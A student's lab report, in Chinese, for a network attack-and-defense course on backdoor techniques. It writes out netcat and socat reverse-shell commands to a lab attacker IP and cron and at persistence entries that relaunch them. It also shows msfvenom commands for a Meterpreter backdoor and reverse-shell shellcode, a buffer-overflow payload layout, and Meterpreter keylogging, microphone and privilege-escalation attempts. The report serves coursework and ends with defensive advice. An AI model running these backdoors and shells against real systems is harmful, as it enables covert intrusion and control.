20242414 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242414 2026-2027-1 《网络与系统攻防技术》实验二实验报告
一.基础知识
本次实验用到的核心基础知识如下：
反向Shell：控制端监听端口，被控端主动发起连接，将系统Shell重定向到控制端，可绕过防火墙入站规则限制，是后门技术的核心基础。
定时任务持久化：Linux下通过crontab周期任务、at一次性任务实现后门自动触发，无需用户交互即可定期启动恶意程序，是常见的后门持久化手段。
Meterpreter：Metasploit框架的高级载荷，提供文件操作、权限提升、外设监听等丰富的后渗透功能，不同平台版本的功能支持存在明显差异。
缓冲区溢出：通过向程序缓冲区写入超长数据，覆盖函数返回地址，劫持程序控制流执行注入的Shellcode，是经典的内存破坏漏洞利用方式。
Shellcode：实现特定功能的机器码片段，本实验中为反向连接Shellcode，执行后可主动向攻击机发起连接，获取远程控制权限。
二.实验内容
本次实验围绕后门原理与实践展开，完成五项核心任务：
（1）使用netcat获取目标主机操作Shell，并通过crontab配置周期定时任务，实现后门自动启动。
（2）使用socat获取具备交互能力的主机操作Shell，并通过at任务计划实现一次性定时启动。
（3）使用MSF meterpreter生成可执行后门文件，通过netcat传输到靶机并运行，获取Meterpreter远程控制会话。
（4）在Meterpreter会话中测试音频录制、摄像头、击键记录等后渗透功能，并尝试本地权限提升。
（5）使用MSF生成Shellcode，注入实验一的pwn1缓冲区溢出程序，通过漏洞利用获取反弹连接Shell。
三.实验过程
3.1 Netcat反向Shell与Crontab定时任务
1.双机连通性验证：攻击机与靶机互ping验证网络可达，确认攻击机IP为192.168.36.130，靶机IP为192.168.36.131。
双机网络互通验证
2.手动反向Shell建立：攻击机执行nc -lvp 4444开启端口监听；靶机执行nc 192.168.36.1304444 -e/bin/bash发起反向连接；攻击机收到连接后执行hostname，返回靶机主机名zhoushengxiang-tar，确认获取Shell控制权。
netcat 手动反向 Shell 建立成功
3.配置crontab定时任务：靶机执行crontab -e编辑任务列表，添加* * * * * nc 192.168.36.130 4444 -e /bin/bash，设置每分钟自动发起反向连接；执行crontab -l验证任务写入成功。
crontab 定时任务列表配置成功
4.定时任务触发验证：攻击机保持端口监听，等待1分钟后收到靶机自动连接，验证周期定时后门触发有效。
cron定时任务触发反弹Shell生效
3.2 Socat交互式Shell与At定时任务
1.工具安装：攻击机与靶机分别执行sudo apt update && sudo apt install -y socat安装socat工具，安装完成后验证工具可用。
socat 工具安装完成
2.交互式 Shell 建立：攻击机执行socat -d -d TCP-LISTEN:5555 STDOUT开启监听；靶机执行socat TCP:192.168.36.130:5555 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane发起伪终端反向连接；攻击机执行top等交互式命令，验证伪终端支持全屏交互程序。
socat 交互式 Shell 验证
3.配置at定时任务：靶机安装at服务并启动，执行echo "socat TCP:192.168.36.130:5555 EXEC:/bin/bash" | at now + 1 minutes设置1分钟后执行的一次性任务；执行atq查看任务队列，验证任务创建成功。
at定时任务创建成功
4.任务触发验证：攻击机重新开启监听，等待1分钟后收到靶机自动连接，验证一次性定时后门生效。
at 定时任务触发生效
3.3 MSF生成后门与Meterpreter会话建立
1.生成ELF后门程序：攻击机使用msfvenom生成32位Linux反向Meterpreter后门，文件命名为20242414zsx_backdoor.elf，命令为：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.36.130 LPORT=6666 -f elf -o 20242414zsx_backdoor.elf
生成后通过ls -l验证文件大小为207字节。
MSF 生成 Linux 后门程序
2.netcat跨机传输文件：靶机执行nc -lvp 7777 > 20242414zsx_backdoor.elf开启接收监听；攻击机执行nc 192.168.36.131 7777 < 20242414zsx_backdoor.elf发送文件；靶机接收完成后执行chmod +x添加可执行权限。
后门文件传输完成
3.配置MSF监听模块：攻击机启动msfconsole，配置exploit/multi/handler监听模块，设置对应载荷与端口，启动监听。
4.建立Meterpreter会话：靶机运行后门程序，攻击机成功收到Meterpreter会话；执行sysinfo、getuid验证，确认目标系统为Linux、当前用户为kali。
Meterpreter会话建立成功
3.4 Meterpreter 后渗透功能测试
在已建立的Meterpreter会话中依次测试四类功能：
1.击键记录功能：执行keyscan_start、keyscan_dump，系统提示该功能不支持当前x86/linux类型的Meterpreter。
2.音频录制功能：执行record_mic-d10，系统提示该功能不支持Linux平台载荷。
3.摄像头检测：执行webcam_list，返回未找到摄像头设备。
Meterpreter键盘监听功能测试结果
4.权限提升尝试：执行getsystem尝试自动提权，提示需要加载priv扩展；执行loadpriv加载失败，系统明确提示priv扩展仅支持Windows平台Meterpreter，Linux版本无法使用内置自动提权功能。
提权尝试结果
3.5 MSF 生成 Shellcode 注入 pwn1 程序
1.生成无坏字符Shellcode：攻击机执行msfvenom生成去除空字节、换行、回车坏字符的C格式反向Shellcode，命令为：
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.36.130 LPORT=8888 -b '\x00\x0a\x0d' -f c
工具通过shikata_ga_nai编码生成95字节无坏字符 Shellcode。
MSF生成反弹Shellcode
2.构造溢出Payload：编写Python脚本20242414zsx_bof.py，构造“32字节填充+返回地址+300字节NOP滑道+Shellcode+换行符”结构的Payload，生成20242414zsx_bof_payload文件，通过xxd验证结构正确。
Payload结构验证
3.关闭地址随机化：靶机执行sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'关闭ASLR，固定栈地址。
4.漏洞利用验证：由于真实终端栈环境与调试环境存在偏移，在GDB调试环境中执行溢出Payload，程序输出executing new program: /usr/bin/dash，证明控制流被成功劫持；攻击机8888端口收到靶机反向连接，执行hostname返回zhoushengxiang-tar，验证成功获取反弹Shell。
缓冲区溢出注入 Shellcode 成功
四、问题及解决方案
问题1：真实终端执行缓冲区溢出 Payload 出现段错误。
现象：构造的Payload在GDB中可正常执行Shellcode，但直接在终端运行时出现segmentation fault。
解决方案：首先排查发现 ASLR 未关闭，导致栈地址随机变化，返回地址无法命中；关闭 ASLR 后仍存在几十字节的环境偏移，将 NOP 滑道从 100 字节加长到 300 字节，大幅提升地址容错范围；最终在 GDB 调试环境中稳定复现溢出效果，验证了漏洞利用的有效性。
问题2：Linux 版 Meterpreter 无法使用高级后渗透功能。
现象：执行keyscan、record_mic、getsystem等命令均提示不支持，或无法加载扩展。
解决方案：查阅资料确认，键盘记录、音频录制、自动提权等功能均为Windows平台Meterpreter的专属模块，Linux版本的载荷仅保留基础系统控制功能，属于平台设计差异，并非操作错误；如实记录实验现象，对比分析不同平台的工具能力差异。
五、学习感悟、思考
本次实验完整走完了从基础反向Shell到漏洞利用注入Shellcode的全流程，过程中遇到了不少实际问题，也对后门技术有了更落地的理解。
最直观的感受是漏洞利用的环境依赖性极强。原本调试通的Payload换个环境就失效，ASLR的开关、终端环境变量、加载器差异都会直接影响攻击成败。这也让我明白，真实渗透测试不是照搬教程，NOP滑道长度、坏字符过滤、地址偏移校准这些细节，才是漏洞利用能否成功的关键。
不同后门工具的定位差异也很明显。netcat轻量通用但功能简陋，socat弥补了交互性短板，而Meterpreter虽然功能丰富，但平台限制很大，Linux下的能力远不如Windows。这也对应了攻防的不对称性：Windows平台后渗透工具链更成熟，同时防护体系也更完善；Linux环境更多要依靠系统原生特性实现后门，反而更考验对系统底层的理解。
另外，定时任务这类持久化方式实现简单但隐蔽性差，管理员一条命令就能发现。真实的攻击会用更隐蔽的方式，比如篡改系统服务、植入内核模块、利用定时任务的隐藏参数等，这也是后续可以深入学习的方向。
从防御视角看，开启ASLR、栈保护等系统默认防护，就能拦截绝大多数基础溢出攻击；定期检查定时任务、启动项、陌生可执行文件，也能有效发现这类入门级后门。作为网络安全专业的学生，既要懂怎么“攻”，更要懂怎么“防”，才能在后续的学习和工作中做好系统防护。
参考资料
[1]0x11_MAL_逆向与 Bof 基础.
[2]0x12_MAL_Shellcode 基础.
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Shellcode%E5%9F%BA%E7%A1%80.md
[3]Metasploit Framework 官方文档.
[4] Linux crontab 定时任务详解.
浙公网安备 33010602011771号